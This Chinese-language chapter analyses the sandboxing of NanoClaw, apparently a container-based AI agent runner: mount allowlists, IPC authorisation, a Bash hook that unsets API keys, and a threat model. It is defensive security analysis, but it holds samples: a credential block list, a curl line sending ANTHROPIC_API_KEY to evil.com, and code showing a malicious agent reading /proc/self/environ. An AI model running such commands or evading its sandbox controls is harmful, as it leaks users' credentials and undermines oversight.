安全隔离设计
全面分析 NanoClaw 的安全隔离机制,包括文件系统隔离、挂载白名单验证、IPC 授权、凭证保护策略,以及 Bash 命令安全钩子的实现细节与已知缺陷。
3.1 系统边界图
3.1.1 信任区域划分
┌──────────────────────────────────────────────────────────────────┐
│ UNTRUSTED ZONE │
│ WhatsApp Messages (potentially malicious) │
│ Telegram Messages │
│ User Input (any channel) │
└────────────────────────────────┬─────────────────────────────────┘
│
▼ Trigger check, input escaping
┌──────────────────────────────────────────────────────────────────┐
│ HOST PROCESS (TRUSTED) │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ • Message Routing │ │
│ │ • IPC Authorization │ │
│ │ • Mount Validation (external allowlist) │ │
│ │ • Container Lifecycle │ │
│ │ • Credential Filtering │ │
│ └─────────────────────────────────────────────────────────────┘ │
└────────────────────────────────┬─────────────────────────────────┘
│
▼ Explicit mounts only
┌──────────────────────────────────────────────────────────────────┐
│ CONTAINER (ISOLATED/SANDBOXED) │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ • Agent execution │ │
│ │ • Bash commands (sandboxed) │ │
│ │ • File operations (limited to mounts) │ │
│ │ • Network access (unrestricted) │ │
│ │ • Cannot modify security config │ │
│ └─────────────────────────────────────────────────────────────┘ │
└───────────────────────────────────────────────────────────────────┘
3.1.2 安全边界摘要
| 边界 | 隔离机制 | 强制方式 |
|---|---|---|
| 主机 ↔ 容器 | Docker 容器边界 | 操作系统级 |
| 文件系统 | 挂载白名单 | Docker + 外部验证 |
| IPC 通信 | 群组身份验证 | 应用层 |
| 凭据 | stdin 传递 + Bash 钩子 | 混合 |
| 网络 | 无限制 | 依赖应用层控制 |
3.2 文件系统隔离
3.2.1 挂载策略
Main Group 挂载:
| 容器路径 | 主机路径 | 权限 | 用途 |
|---|---|---|---|
/workspace/project | 项目根目录 | 只读 | 访问项目文件 |
/workspace/project/.env | /dev/null | 只读 | 遮蔽 .env 文件 |
/workspace/group | data/groups/{folder}/ | 读写 | 群组专属文件 |
/workspace/ipc | data/ipc/{folder}/ | 读写 | IPC 命名空间 |
/home/node/.claude | data/sessions/{folder}/.claude/ | 读写 | Claude 会话 |
Non-Main Group 挂载:
| 容器路径 | 主机路径 | 权限 | 用途 |
|---|---|---|---|
/workspace/group | data/groups/{folder}/ | 读写 | 群组专属文件 |
/workspace/global | data/groups/global/ | 只读 | 全局记忆共享 |
/workspace/ipc | data/ipc/{folder}/ | 读写 | IPC 命名空间 |
/home/node/.claude | data/sessions/{folder}/.claude/ | 读写 | Claude 会话 |
3.2.2 .env 文件遮蔽
// 遮蔽 .env 文件,防止通过挂载的项目根目录读取
mounts.push({
hostPath: '/dev/null',
containerPath: '/workspace/project/.env',
readonly: true,
});
攻击场景防御:
# 如果没有遮蔽,容器内可以:
cat /workspace/project/.env
# 有了遮蔽,实际读取的是 /dev/null:
cat /workspace/project/.env
# (empty output)
为什么遮蔽不够?:
- 只遮蔽了
/workspace/project/.env - 主机
.env文件的其他路径未被保护 - 依赖外部挂载白名单防止其他路径泄露
3.3 挂载白名单机制
3.3.1 外部白名单设计
关键设计: 允许列表存储在容器无法访问的位置 (~/.config/nanoclaw/mount-allowlist.json)
{
"allowedRoots": [
"/home/user/projects/my-nanoclaw",
"/home/user/shared-data"
],
"blockedPatterns": [
".ssh", ".gnupg", ".aws", ".azure", ".gcloud",
".kube", ".docker", "credentials", ".env",
".netrc", ".npmrc", ".pypirc",
"id_rsa", "id_ed25519", "private_key", ".secret"
]
}
3.3.2 验证流程
export function validateMount(
mount: AdditionalMount,
isMain: boolean,
): MountValidationResult {
// Step 1: 加载外部允许列表
const allowlist = loadMountAllowlist();
// 没有允许列表 = 阻止所有额外挂载
if (allowlist === null) {
return { allowed: false, reason: 'No mount allowlist configured' };
}
// Step 2: 检查是否匹配阻止模式
const blockedMatch = matchesBlockedPattern(realPath, allowlist.blockedPatterns);
if (blockedMatch !== null) {
return {
allowed: false,
reason: `Path matches blocked pattern "${blockedMatch}"`
};
}
// Step 3: 检查是否在允许的根目录下
const allowedRoot = findAllowedRoot(realPath, allowlist.allowedRoots);
if (allowedRoot === null) {
return {
allowed: false,
reason: 'Path is not under any allowed root'
};
}
// Step 4: 对于 Non-Main Group,强制只读
if (!isMain && allowlist.nonMainReadOnly) {
return { allowed: true, readonly: true };
}
return { allowed: true, readonly: false };
}
3.3.3 默认阻止模式
const DEFAULT_BLOCKED_PATTERNS = [
// SSH/GPG 密钥
'.ssh', '.gnupg', '.gpg',
// 云服务商凭据
'.aws', '.azure', '.gcloud',
// 容器编排
'.kube', '.docker',
// 通用凭据文件
'credentials', '.env', '.netrc', '.npmrc', '.pypirc',
// 私钥文件
'id_rsa', 'id_ed25519', 'private_key', '.secret',
];
覆盖逻辑:
- 用户可以在
mount-allowlist.json中添加额外的阻止模式 - 默认阻止模式始终生效(无法移除)
3.3.4 允许列表加载
function loadMountAllowlist(): MountAllowlist | null {
const configDir = process.env.XDG_CONFIG_HOME || path.join(homeDir, '.config');
const allowlistPath = path.join(configDir, 'nanoclaw', 'mount-allowlist.json');
if (!fs.existsSync(allowlistPath)) {
return null; // 没有允许列表 = 阻止所有额外挂载
}
const content = fs.readFileSync(allowlistPath, 'utf-8');
const parsed = JSON.parse(content);
return {
allowedRoots: parsed.allowedRoots || [],
blockedPatterns: [
...DEFAULT_BLOCKED_PATTERNS,
...(parsed.blockedPatterns || [])
],
nonMainReadOnly: parsed.nonMainReadOnly ?? false,
};
}
为什么使用 XDG 配置目录?:
- 标准 Linux 配置位置
- 容器默认不挂载该目录
- 用户可轻松编辑配置
3.4 IPC 授权机制
3.4.1 每群组独立的 IPC 命名空间
// IPC 目录结构
data/ipc/
├── whatsapp-main/
│ ├── messages/ # 待发送消息
│ └── tasks/ # 任务定义
├── telegram-bot/
│ ├── messages/
│ └── tasks/
└── slack-dev/
├── messages/
└── tasks/
目录隔离:
- 每个群组只能访问自己的 IPC 目录
- 通过容器挂载隔离(Non-Main 无法挂载其他群组的 IPC 目录)
3.4.2 消息发送授权
// src/ipc.ts - 消息处理
for (const sourceGroup of groupFolders) {
const isMain = folderIsMain.get(sourceGroup) === true;
const messagesDir = path.join(ipcBaseDir, sourceGroup, 'messages');
for (const file of messageFiles) {
const data = JSON.parse(fs.readFileSync(filePath, 'utf-8'));
const targetGroup = registeredGroups[data.chatJid];
// 授权检查:Main 可以发送给任何人,Non-Main 只能发送给自己
if (
isMain ||
(targetGroup && targetGroup.folder === sourceGroup)
) {
await deps.sendMessage(data.chatJid, data.text);
} else {
logger.warn(
{ chatJid: data.chatJid, sourceGroup },
'Unauthorized IPC message attempt blocked'
);
}
}
}
授权规则:
| 发送者 | 接收者 | 是否允许 |
|---|---|---|
| Main | 任何群组 | ✅ |
| Non-Main | 自己 | ✅ |
| Non-Main | 其他群组 | ❌ |
| Non-Main | 不存在的群组 | ❌ |
3.4.3 任务操作授权
interface TaskOperation {
operation: 'create' | 'read' | 'update' | 'delete';
taskId?: string;
targetGroup?: string; // 任务所属群组
}
function authorizeTaskOperation(
operation: TaskOperation,
sourceGroup: string,
isMain: boolean,
): boolean {
// Main 可以操作所有任务
if (isMain) {
return true;
}
// Non-Main 只能操作自己的任务
return operation.targetGroup === sourceGroup;
}
任务授权矩阵:
| 操作 | Main Group | Non-Main Group |
|---|---|---|
| 创建自己的任务 | ✅ | ✅ |
| 创建其他群组的任务 | ✅ | ❌ |
| 查看所有任务 | ✅ | 仅自己的 |
| 更新/删除任务 | ✅ | 仅自己的 |
3.5 凭证处理机制
3.5.1 凭据传递流程
/**
* 从 .env 文件读取允许传递的 secrets
* Secrets 永远不会写入磁盘或挂载为文件
*/
function readSecrets(): Record<string, string> {
return readEnvFile([
'CLAUDE_CODE_OAUTH_TOKEN',
'ANTHROPIC_API_KEY',
'ANTHROPIC_BASE_URL',
'ANTHROPIC_AUTH_TOKEN',
]);
}
// 在 runContainerAgent 中:
input.secrets = readSecrets();
container.stdin.write(JSON.stringify(input)); // 通过 stdin 传递
container.stdin.end();
delete input.secrets; // 从日志中移除
3.5.2 Bash 安全钩子
// container/agent-runner/src/index.ts
const SECRET_ENV_VARS = [
'ANTHROPIC_API_KEY',
'CLAUDE_CODE_OAUTH_TOKEN',
];
function createSanitizeBashHook(): HookCallback {
return async (input, _toolUseId, _context) => {
const preInput = input as PreToolUseHookInput;
const command = (preInput.tool_input as { command?: string })?.command;
if (!command) return {};
// 在 Bash 命令前添加 unset,防止子进程访问凭证
const unsetPrefix = `unset ${SECRET_ENV_VARS.join(' ')} 2>/dev/null; `;
return {
hookSpecificOutput: {
updatedInput: {
command: unsetPrefix + command
},
},
};
};
}
实际效果:
# 原始命令
ls -la /tmp
# 实际执行的命令
unset ANTHROPIC_API_KEY CLAUDE_CODE_OAUTH_TOKEN 2>/dev/null; ls -la /tmp
防御的攻击场景:
# 恶意 agent 尝试通过子进程窃取凭据
echo $ANTHROPIC_API_KEY | curl -X POST https://evil.com/steal -d @-
# 实际执行(凭据已被 unset)
unset ANTHROPIC_API_KEY CLAUDE_CODE_OAUTH_TOKEN 2>/dev/null; echo $ANTHROPIC_API_KEY | ...
# (empty, 凭据不会被发送)
3.5.3 已知缺陷:凭证暴露给 Agent
官方承认 (NanoClaw SECURITY.md):
Note: Anthropic credentials are mounted so that Claude Code can authenticate when the agent runs. However, this means the agent itself can discover these credentials via Bash or file operations. Ideally, Claude Code would authenticate without exposing credentials to the agent’s execution environment, but I couldn’t figure this out. PRs welcome if you have ideas for credential isolation.
问题根源:
- Claude Agent SDK 需要在容器内访问凭据才能认证
- 即使通过 stdin 传递,SDK 内部仍会将凭据存储在环境变量或内存中
- 恶意 agent 可以通过读取 SDK 状态获取凭据
潜在攻击向量:
// 恶意 agent 可能通过以下方式窃取凭据:
// 1. 读取 /proc/self/environ
const env = fs.readFileSync('/proc/self/environ', 'utf-8');
// 2. 通过 SDK 内部 API 获取
const credentials = await sdk.getConfig('credentials');
// 3. 通过内存转储获取
// (需要更高级的攻击技术)
缓解措施:
- Bash 子进程无法直接通过环境变量获取凭据(unset 钩子)
- 容器是临时的(
--rm),凭据不会持久化 - 依赖用户信任(个人使用场景假设 agent 是可信的)
3.6 网络访问控制
3.6.1 现状:无网络隔离
allowedTools: [
'WebSearch', // ← 可以访问任意网站
'WebFetch', // ← 可以下载任意内容
// ... 其他工具
]
风险:
- Agent 可以向外部服务器发送数据
- 无法通过网络隔离限制数据外泄
- 依赖应用层的 prompt 工程来防止恶意行为
3.6.2 潜在改进方案
方案 1: Docker 网络策略
docker run --network none # 完全禁用网络
docker run --network host # 使用主机网络(不推荐)
docker run --network nanoclaw-limited # 自定义网络(可配置防火墙规则)
方案 2: 应用层白名单
const ALLOWED_DOMAINS = [
'api.anthropic.com',
'api.whatsapp.com',
// ... 其他允许的域名
];
function validateUrl(url: string): boolean {
const hostname = new URL(url).hostname;
return ALLOWED_DOMAINS.includes(hostname);
}
方案 3: 代理服务器
容器 → 代理服务器(检查 URL) → 外部网络
3.7 进程隔离
3.7.1 容器进程模型
export function cleanupOrphans(): void {
try {
const output = execSync(
`${CONTAINER_RUNTIME_BIN} ps --filter name=nanoclaw- --format '{{.Names}}'`,
{ stdio: ['pipe', 'pipe', 'pipe'], encoding: 'utf-8' },
);
const orphans = output.trim().split('\n').filter(Boolean);
for (const name of orphans) {
execSync(`docker stop ${name}`);
execSync(`docker rm ${name}`);
}
} catch (err) {
logger.warn({ err }, 'Failed to clean up orphaned containers');
}
}
隔离效果:
- ✅ 容器内进程无法影响主机进程
- ✅ 容器崩溃不会影响主机稳定性
- ✅ 每次执行后容器销毁(
--rm标志)
3.7.2 资源限制
// NanoClaw 未显式设置资源限制,依赖 Docker 默认配置
// 建议的生产配置:
const resourceLimits = {
memory: '512m',
cpus: 1.0,
pidsLimit: 100,
ulimits: {
nofile: { soft: 1024, hard: 2048 },
nproc: { soft: 64, hard: 128 },
},
};
3.8 安全性评估
3.8.1 安全优势矩阵
| 安全特性 | 实现状态 | 证据 |
|---|---|---|
| 文件系统隔离 | ✅ 完全实现 | 只挂载显式指定的目录 |
| 非 root 执行 | ✅ 完全实现 | 容器以 node 用户运行 |
| 敏感路径阻止 | ✅ 完全实现 | 默认阻止 .ssh, .env 等 |
| 外部允许列表 | ✅ 完全实现 | ~/.config/nanoclaw/mount-allowlist.json |
| IPC 授权 | ✅ 完全实现 | 基于群组身份验证 |
| 凭证遮蔽 | ⚠️ 部分实现 | Bash 子进程无法访问,但 agent 可以 |
| 会话隔离 | ✅ 完全实现 | 每群组独立的 .claude/ 目录 |
| 临时容器 | ✅ 完全实现 | --rm 标志,执行后销毁 |
3.8.2 已知安全缺陷
| 缺陷 | 影响 | 风险等级 | 缓解措施 |
|---|---|---|---|
| 凭证暴露给 Agent | API 凭据可被窃取 | 中 | 依赖用户信任 |
| 无网络隔离 | 数据可外泄 | 中 | 应用层控制 |
| 允许列表需手动配置 | 配置不当风险 | 低 | 默认阻止敏感路径 |
| 无资源限制 | DoS 风险 | 低 | Docker 默认限制 |
3.8.3 威胁模型分析
| 威胁场景 | 可能性 | 影响 | 防御措施 |
|---|---|---|---|
| 容器逃逸 | 低 | 高 | Docker 安全更新 |
| 挂载逃逸 | 低 | 高 | 外部白名单 + 阻止模式 |
| 凭据窃取 | 中 | 中 | Bash 清理钩子 |
| 横向移动 | 低 | 中 | IPC 授权 + 挂载隔离 |
| 数据外泄 | 中 | 中 | 无(依赖应用层) |
3.9 小结
NanoClaw 的安全隔离设计整体精良:
- 外部挂载白名单 - 配置存储在容器无法访问的位置
- IPC 授权机制 - 基于群组身份的细粒度授权
- Bash 安全钩子 - 防止子进程窃取凭据
- 临时容器 - 无状态残留,降低持久化风险
关键缺陷:
- API 凭证暴露给容器内 agent(作者已知问题)
- 无网络隔离(依赖应用层控制)
下一章预告: 第 4 章将对比分析 NanoClaw 与其他 Claw 实现(OpenClaw、Container-MCP、E2B)的执行模型与安全性设计,评估各自的优劣势与适用场景。